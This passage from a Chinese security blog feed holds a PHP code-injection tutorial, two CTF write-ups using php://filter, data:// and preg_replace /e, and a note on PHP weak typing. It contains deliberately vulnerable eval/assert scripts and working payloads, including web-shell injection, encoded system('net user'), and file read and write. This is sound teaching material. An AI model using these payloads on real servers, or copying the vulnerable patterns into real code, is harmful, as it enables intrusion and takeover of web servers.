class="meta">?&gt;</span></span><br><span class="line"><span class="variable">$str</span> = addslashes(<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>]);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$str</span>;</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$str</span>);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">编码</span></span><br><span class="line"><span class="comment">1. ascii 编码</span></span><br><span class="line"><span class="comment">?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(110).chr(101).chr(116).chr(32).chr(117).chr(115).chr(101).chr(114).chr(39).chr(41).chr(59));</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">2. base64 编码</span></span><br><span class="line"><span class="comment">c3lzdGVtKCduZXQgdXNlcicpOw==</span></span><br><span class="line"><span class="comment">?code=eval(base64_decode(c3lzdGVtKCduZXQgdXNlcicpOw));</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><h3 id="assert"><a class="markdownIt-Anchor" href="#assert">#</a> <strong>assert()</strong></h3><p><code>assert()</code>  同样会将字符串当做 PHP 代码来执行。</p><ul><li>字符串结尾可以不添加分号。</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>]))&#123;</span><br><span class="line">    <span class="variable">$code</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>];</span><br><span class="line">    assert(<span class="variable">$code</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;Please submit code!&lt;br /&gt;?code=phpinfo()&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="preg_replace"><a class="markdownIt-Anchor" href="#preg_replace">#</a> <strong>preg_replace()</strong></h3><p><code>preg_replace()</code>  函数的作用是对字符串进行正则匹配后替换。</p><p>参数和返回值如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">preg_replace(<span class="variable">$pattern</span>,<span class="variable">$replacement</span>,<span class="variable">$subject</span>);</span><br><span class="line">preg_replace(<span class="string">&#x27;/a/&#x27;</span>,<span class="string">&#x27;A&#x27;</span>,<span class="string">&#x27;abacad&#x27;</span>);<span class="comment">//AbAcAd</span></span><br><span class="line">preg_replace(<span class="string">&#x27;/\[(.*)\]/&#x27;</span>,<span class="string">&#x27;A&#x27;</span>,<span class="string">&#x27;[phpinfo()]&#x27;</span>);<span class="comment">//A</span></span><br><span class="line"><span class="keyword">echo</span> preg_replace(<span class="string">&#x27;/\[(.*)\]/&#x27;</span>,<span class="string">&#x27;\\1&#x27;</span>,<span class="string">&#x27;[phpinfo()]&#x27;</span>);<span class="comment">//phpinfo()</span></span><br><span class="line"><span class="comment">//\\1代表正则表达式第一次匹配的内容</span></span><br></pre></td></tr></table></figure><ul><li>搜索 <code>$subject</code>  中匹配<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mi>a</mi><mi>t</mi><mi>t</mi><mi>e</mi><mi>r</mi><mi>n</mi><mtext>的部分，以</mtext><mi mathvariant="normal">‘</mi></mrow><annotation encoding="application/x-tex">pattern 的部分，以`</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">n</span><span class="mord cjk_fallback">的</span><span class="mord cjk_fallback">部</span><span class="mord cjk_fallback">分</span><span class="mord cjk_fallback">，</span><span class="mord cjk_fallback">以</span><span class="mord">‘</span></span></span></span>replacement` 进行替换。</li><li>当 <code>$pattern</code>  处，存在 <code>e</code>  修饰符时， <code>$replacement</code>  的值会被当成 PHP 代码来执行。</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>]))&#123;</span><br><span class="line">    <span class="variable">$code</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>];</span><br><span class="line">    preg_replace(<span class="string">&quot;/\[(.*)\]/e&quot;</span>,<span class="string">&#x27;\\1&#x27;</span>, <span class="variable">$code</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">&quot;?code=[phpinfo()]&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><ul><li>执行的代码中的参数会被转义</li></ul><h3 id="call_user_func"><a class="markdownIt-Anchor" href="#call_user_func">#</a> <strong>call_user_func()</strong></h3><p><code>call_user_func()</code>  等函数都有调用其他函数的功能，回调函数。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$funName</span> = <span class="string">&#x27;assert&#x27;</span>;</span><br><span class="line"><span class="variable">$para</span> = <span class="string">&#x27;phpinfo()&#x27;</span>;</span><br><span class="line">call_user_func(<span class="variable">$funName</span>,<span class="variable">$para</span>);</span><br><span class="line"><span class="comment">//assert(phpinof())</span></span><br></pre></td></tr></table></figure><ul><li><code>$funName</code>  被调用的函数名</li><li><code>$para</code>  作为被调用函数的参数，参数中的单引号没有被转义</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;fun&#x27;</span>]))&#123;</span><br><span class="line">    <span class="variable">$fun</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;fun&#x27;</span>];</span><br><span class="line">    <span class="variable">$para</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;para&#x27;</span>];</span><br><span class="line">    call_user_func(<span class="variable">$fun</span>,<span class="variable">$para</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">&quot;?fun=assert&amp;amp;para=phpinfo()&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="动态函数ab"><a class="markdownIt-Anchor" href="#动态函数ab">#</a> <strong>动态函数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo stretchy="false">(</mo></mrow><annotation encoding="application/x-tex">a(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mopen">(</span></span></span></span>b)</strong></h3><p>由于 PHP 的特性原因，PHP 的函数支持直接由拼接的方式调用，这直接导致了 PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法，这种写法跟使用 <code>call_user_func()</code>  的初衷一样，用来更加方便地调用函数，但是一旦过了不严格就会造成代码执行漏洞。</p><ul><li>不用调用 <code>eval()</code></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]))&#123;</span><br><span class="line">    <span class="variable">$a</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>];</span><br><span class="line">    <span class="variable">$b</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;b&#x27;</span>];</span><br><span class="line">    <span class="variable">$a</span>(<span class="variable">$b</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;</span></span><br><span class="line"><span class="string">    ?a=assert&amp;amp;b=phpinfo()</span></span><br><span class="line"><span class="string">    &quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x03-拓展知识"><a class="markdownIt-Anchor" href="#0x03-拓展知识">#</a> <strong>0x03 拓展知识</strong></h2><h3 id="os-命令注入漏洞"><a class="markdownIt-Anchor" href="#os-命令注入漏洞">#</a> <strong>OS 命令注入漏洞</strong></h3><ul><li>原理以及成因</li></ul><p>程序员使用脚本语言（比如 PHP ）开发应用程序过程中，脚本语言开发十分快速、简介，方便，但是也伴随着一些问题。比如说速度慢，或者无法接触系统底层，如果我们开发的应用，特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令的函数。</p><p>应用在调用这些函数执行系统命令的时候，如果将用户的输入作为系统命令的参数拼接到命令行中，在没有过滤用户的输入的情况下，就会造成命令执行漏洞 。</p><ul><li><p>漏洞危害</p></li><li><ul><li>继承 Web 服务器程序权限，去执行系统命令</li><li>继承 Web 服务器权限，读写文件</li><li>反弹 Shell</li><li>控制整个网站</li><li>控制整个服务器</li></ul></li></ul><h3 id="命令注入漏洞利用"><a class="markdownIt-Anchor" href="#命令注入漏洞利用">#</a> <strong>命令注入漏洞利用</strong></h3><p>OS 命令注入漏洞，攻击者直接继承 Web 用户权限，在服务器上执行任意系统命令，危害特别大。以下命令均在 windows 系统下测试成功。</p><ul><li><p>查看系统文件  <code>?cmd=type c:\windows\system32\drivers\etc\hosts</code></p></li><li><p>显示当前路径  <code>?cmd=cd</code></p></li><li><p>写文件</p></li><li><ul><li>以绝对路径的方式写文件  <code>?cmd=echo &quot;&lt;?php phpinfo();?&gt;&quot; &gt; D:\xampp\htdocs\Commandi\shell.php</code></li></ul></li></ul><h3 id="php-代码注入"><a class="markdownIt-Anchor" href="#php-代码注入">#</a> <strong>PHP 代码注入</strong></h3><ul><li>原理以及成因 代码执行（注入）是指应用程序过滤不严，用户可以通过请求将代码注入到应用中执行。代码执行（注入）类似于 SQL 注入漏洞，SQLi 是将 SQL 语句注入到数据库中执行，而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤，相当于直接有一个<strong> Web 后门</strong> 的存在。</li><li>漏洞危害 Web 应用如果存在代码执行漏洞是一件非常可怕的事情。可以通过代码执行漏洞继承 Web 用户权限，执行任意代码。如果服务器没有正确配置，Web 用户权限比较高的话，我们可以读写目标服务器任意文件内容，甚至控制整个网站以及服务器。</li></ul><h3 id="代码注入漏洞利用"><a class="markdownIt-Anchor" href="#代码注入漏洞利用">#</a> <strong>代码注入漏洞利用</strong></h3><p>代码执行漏洞的利用方式有很多种，以下简单列出几种。</p><ul><li>直接获取 Shell  <code>?code=@eval($_POST[1]);</code></li><li>获取当前文件的绝对路径  <code>?code=print(__FILE__);</code></li><li>读文件  <code>?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));</code></li><li>写文件  <code>?code=var_dump(file_put_contents($_POST[1],$_POST[2]));``1=shell.php&amp;2=&lt;?php phpinfo()?&gt;</code> 。</li></ul><h3 id="防御漏洞的方法"><a class="markdownIt-Anchor" href="#防御漏洞的方法">#</a> <strong>防御漏洞的方法</strong></h3><ul><li>尽量不要使用 eval 等函数</li><li>如果使用的话一定要进行严格的过滤</li><li>preg_replace 放弃使用 /e 修饰符</li><li>尽量减少危险函数的使用，并在 <code>disable_functions</code>  中禁用</li></ul><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">disable_functions = system,eval</span><br></pre></td></tr></table></figure><ul><li>参数的值尽量使用引号包裹，并在拼接前调用 <code>addslashes()</code>  进行转义</li></ul><h3 id="实战dvwa-commandi"><a class="markdownIt-Anchor" href="#实战dvwa-commandi">#</a> <strong>实战：DVWA Commandi</strong></h3><h3 id="实战seacmsv626-rce"><a class="markdownIt-Anchor" href="#实战seacmsv626-rce">#</a> <strong>实战：SeaCMSv6.26 RCE</strong></h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?searchtype&#x3D;5&amp;tid&#x3D;&amp;area&#x3D;phpinfo()</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="web" scheme="http://www.cclss.top/categories/web/"/>
    
    
    <category term="web" scheme="http://www.cclss.top/tags/web/"/>
    
  </entry>
  
  <entry>
    <title>ics-05</title>
    <link href="http://www.cclss.top/post/ctf_ics/"/>
    <id>http://www.cclss.top/post/ctf_ics/</id>
    <published>2021-03-16T13:31:43.000Z</published>
    <updated>2021-03-18T16:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="0x01-前言"><a class="markdownIt-Anchor" href="#0x01-前言">#</a> <a href="https://www.cclss.cn">0x01 前言</a></h1><p>涉及知识点 ： <strong>php 伪协议</strong> <strong>文件包含</strong>  <strong>pre_replace</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">allow_url_fopen &#x3D; On  &amp;&amp;  allow_url_include &#x3D; Off     可以触发本地文件包含漏洞</span><br><span class="line"></span><br><span class="line">allow_url_fopen &#x3D; On  &amp;&amp;  allow_url_include &#x3D; On      可以触发远程文件包含漏洞</span><br><span class="line"></span><br><span class="line">allow_url_fopen &#x3D; Off  &amp;&amp;  allow_url_include &#x3D; On     需通过php:&#x2F;&#x2F;input伪协议进行包含</span><br></pre></td></tr></table></figure><h1 id="0x02-解题过程"><a class="markdownIt-Anchor" href="#0x02-解题过程">#</a> 0x02 解题过程</h1><ol><li><p>F12 代码审计 发现只有 设备维护中心指向 index.php</p></li><li><p>继续 F12 发现 page=index  出现回显<img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210319172425.png" alt="image-20210319172415293"></p></li><li><p>初步怀疑为文件包含漏洞 测试 page=1 发现回显 1</p></li><li><p>使用 php 伪协议下载页面源码</p><p><code>?page=php://filter//read=convert.base64-encode/resource=index.php</code></p></li><li><p>base64 解码 发现重要代码</p></li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_X_FORWARDED_FOR&#x27;</span>] === <span class="string">&#x27;127.0.0.1&#x27;</span>) &#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;br &gt;Welcome My Admin ! &lt;br &gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$pattern</span> = <span class="variable">$_GET</span>[pat];</span><br><span class="line"><span class="variable">$replacement</span> = <span class="variable">$_GET</span>[rep];</span><br><span class="line"><span class="variable">$subject</span> = <span class="variable">$_GET</span>[sub];</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$pattern</span>) &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$replacement</span>) &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$subject</span>)) &#123;</span><br><span class="line">    preg_replace(<span class="variable">$pattern</span>, <span class="variable">$replacement</span>, <span class="variable">$subject</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">die</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol start="6"><li><p>函数解释</p><ul><li>isset 检测变量是否设置，并且不是 NULL。</li><li>preg_replace  // 将  subject 变量中含有 pattern 的用 replacement 进行替换<img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210319173232.png" alt="image-20210319173229461"></li></ul></li><li><p>构造函数</p><p><code>?pat=/a/e&amp;rep=phpinfo()&amp;sub=a</code></p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210319174354.png" alt="image-20210319174349164"></p></li></ol><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210316213911.png" alt="image-20210316213739692"></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="php" scheme="http://www.cclss.top/tags/php/"/>
    
    <category term="伪协议" scheme="http://www.cclss.top/tags/%E4%BC%AA%E5%8D%8F%E8%AE%AE/"/>
    
    <category term="文件包含" scheme="http://www.cclss.top/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
    
  </entry>
  
  <entry>
    <title>xctf-php_include</title>
    <link href="http://www.cclss.top/post/xctf3/"/>
    <id>http://www.cclss.top/post/xctf3/</id>
    <published>2021-03-13T07:52:40.000Z</published>
    <updated>2021-03-13T07:52:40.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="0x00-代码分析"><a class="markdownIt-Anchor" href="#0x00-代码分析">#</a> 0x00 代码分析</h2><p>题目来自 - 攻防世界 - Web_php_include</p><p><strong>打开页面是这样一段代码</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$_GET</span>[<span class="string">&#x27;hello&#x27;</span>];</span><br><span class="line"><span class="variable">$page</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;page&#x27;</span>];</span><br><span class="line"><span class="keyword">while</span> (strstr(<span class="variable">$page</span>, <span class="string">&quot;php://&quot;</span>)) &#123;</span><br><span class="line">    <span class="variable">$page</span>=str_replace(<span class="string">&quot;php://&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="variable">$page</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$page</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>strstr () 查找字符串首次出现的位置。返回字符串剩余部分</strong></p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210313162418.png" style="zoom:80%;" /><p><strong>str_replace () 以其他字符替换字符串中的一些字符 (区分大小写)</strong></p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210313162131.png" alt="str_replace" style="zoom:80%;" /><p>从代码中得知 page 中带有 php:// 的都会被替换成空</p><p>分析代码可知程序过滤掉了 page = 参数传入 php://</p><h2 id="0x01-方法一-data"><a class="markdownIt-Anchor" href="#0x01-方法一-data">#</a> 0x01 方法一 data://</h2><p>由于代码过滤了 php:// 等 所以可以用 data:// 伪协议</p><p><strong>使用方法:</strong></p><ul><li><p><strong>data://text/plain,XXXX</strong></p></li><li><p><strong>data://text/plain;base64,xxxx (base64 编码后的数据)</strong></p></li></ul><p>先查找 flag  文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> system(<span class="string">&quot;dir&quot;</span>)<span class="meta">?&gt;</span></span><br><span class="line">data 拼接后</span><br><span class="line">    ?page=data:<span class="comment">//text/plain,<span class="meta">&lt;?php</span>%20system(&quot;dir&quot;)<span class="meta">?&gt;</span></span></span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210313165515.png" alt="image-20210313165415501"></p><p>显示目录下文件名称  猜测 <strong>fl4gisisish3r3.php</strong> 为 flag</p><p>使用 cat 命令显示内容  <code>cat（英文全拼：concatenate）命令用于连接文件并打印到标准输出设备上。</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> system(<span class="string">&quot;cat fl4gisisish3r3.php&quot;</span>)<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210313165950.png" alt="image-20210313165947567"></p><p>f12 即可查询</p>]]></content>
    
    
    <summary type="html">php-include  php文件包含漏洞的几种利用</summary>
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
    <category term="php" scheme="http://www.cclss.top/tags/php/"/>
    
    <category term="include" scheme="http://www.cclss.top/tags/include/"/>
    
  </entry>
  
  <entry>
    <title>php弱类型总结</title>
    <link href="http://www.cclss.top/post/phplow/"/>
    <id>http://www.cclss.top/post/phplow/</id>
    <published>2021-03-13T03:40:28.000Z</published>
    <updated>2021-03-15T16:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="php-弱类型总结"><a class="markdownIt-Anchor" href="#php-弱类型总结">#</a> <a href="/post/phplow/">php 弱类型总结</a></h1><h3 id="0x01-前言"><a class="markdownIt-Anchor" href="#0x01-前言">#</a> 0x01 前言</h3><p>最近接触了 php 弱类型的题目，借此想总结一下关于 php 弱类型以及绕过方式</p><h3 id="0x02-知识介绍"><a class="markdownIt-Anchor" href="#0x02-知识介绍">#</a> 0x02 知识介绍</h3><p>php 中有两种比较的符号 == 与 ===</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span>== <span class="variable">$b</span> ;</span><br><span class="line"><span class="variable">$a</span>===<span class="variable">$b</span> ;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>== 在进行比较的时候，会先将字符串类型转化成相同，再比较</p><p>=== 在进行比较的时候，会先判断两种字符串的类型是否相等，再比较</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行</span><br></pre></td></tr></table></figure><p><strong>这里明确了说如果一个数值和字符串进行比较的时候，会将字符串转换成数值</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">var_dump(<span class="string">&quot;admin&quot;</span>==<span class="number">0</span>);  <span class="comment">//true</span></span><br><span class="line">var_dump(<span class="string">&quot;1admin&quot;</span>==<span class="number">1</span>); <span class="comment">//true</span></span><br><span class="line">var_dump(<span class="string">&quot;admin1&quot;</span>==<span class="number">1</span>) <span class="comment">//false</span></span><br><span class="line">var_dump(<span class="string">&quot;admin1&quot;</span>==<span class="number">0</span>) <span class="comment">//true</span></span><br><span class="line">var_dump(<span class="string">&quot;0e123456&quot;</span>==<span class="string">&quot;0e4456789&quot;</span>); <span class="comment">//true </span></span><br><span class="line"><span class="meta">?&gt;</span>  <span class="comment">//上述代码可自行测试</span></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">观察上述代码，&quot;admin&quot;&#x3D;&#x3D;0 比较的时候，会将admin转化成数值，强制转化,由于admin是字符串，转化的结果是0自然和0相等</span><br><span class="line">&quot;1admin&quot;&#x3D;&#x3D;1 比较的时候会将1admin转化成数值,结果为1，而“admin1“&#x3D;&#x3D;1 却等于错误，也就是&quot;admin1&quot;被转化成了0,为什么呢？？</span><br><span class="line">&quot;0e123456&quot;&#x3D;&#x3D;&quot;0e456789&quot;相互比较的时候，会将0e这类字符串识别为科学技术法的数字，0的无论多少次方都是零，所以相等</span><br></pre></td></tr></table></figure><p>对于上述的问题我查了 php 手册</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">当一个字符串欸当作一个数值来取值，其结果和类型如下:如果该字符串没有包含<span class="string">&#x27;.&#x27;</span>,<span class="string">&#x27;e&#x27;</span>,<span class="string">&#x27;E&#x27;</span>并且其数值值在整形的范围之内</span><br><span class="line">该字符串被当作<span class="keyword">int</span>来取值，其他所有情况下都被作为<span class="keyword">float</span>来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为<span class="number">0</span></span><br><span class="line">。</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$test&#x3D;1 + &quot;10.5&quot;; &#x2F;&#x2F; $test&#x3D;11.5(float)</span><br><span class="line">$test&#x3D;1+&quot;-1.3e3&quot;; &#x2F;&#x2F;$test&#x3D;-1299(float)</span><br><span class="line">$test&#x3D;1+&quot;bob-1.3e3&quot;;&#x2F;&#x2F;$test&#x3D;1(int)</span><br><span class="line">$test&#x3D;1+&quot;2admin&quot;;&#x2F;&#x2F;$test&#x3D;3(int)</span><br><span class="line">$test&#x3D;1+&quot;admin2&quot;;&#x2F;&#x2F;$test&#x3D;1(int)</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>所以就解释了 &quot;admin1&quot;==1 =&gt;False 的原因</p>]]></content>
    
    
    <summary type="html">php弱类型的总结</summary>
    
    
    
    <category term="php" scheme="http://www.cclss.top/categories/php/"/>
    
    
    <category term="php" scheme="http://www.cclss.top/tags/php/"/>
    
  </entry>
  
  <entry>
    <title>Hexo Front-matter</title>
    <link href="http://www.cclss.top/post/hexok_matter/"/>
    <id>http://www.cclss.top/post/hexok_matter/</id>
    <published>2021-03-01T10:00:47.000Z</published>
    <updated>2021-03-01T10:00:47.000Z</updated>
    
